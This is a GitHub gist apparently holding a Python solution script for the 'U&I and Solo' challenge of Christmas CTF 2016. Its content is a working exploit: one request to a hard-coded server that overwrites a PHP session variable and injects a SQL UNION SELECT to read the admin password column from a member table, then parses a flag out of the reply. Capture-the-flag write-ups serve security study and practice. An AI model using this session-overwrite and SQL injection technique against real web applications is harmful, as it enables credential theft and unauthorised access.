Skip to content

Instantly share code, notes, and snippets.

@Jinmo
Created December 25, 2016 06:09
Show Gist options
  • Save Jinmo/7086d2a9063dc02984fd076109af0b08 to your computer and use it in GitHub Desktop.
Save Jinmo/7086d2a9063dc02984fd076109af0b08 to your computer and use it in GitHub Desktop.
Christmas CTF 2016 U&I and Solo...
import requests
r = requests.get('http://45.32.53.225/?page=collection_list&_SESSION[uid]=admin%27%20UNION%20SELECT%20upw,upw,upw%20FROM%20member%20WHERE%20uid=%27admin&_GET')
data = r.text
data = 'FLAG' + data.split('./uploads/FLAG')[1].split("'")[0]
print data
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment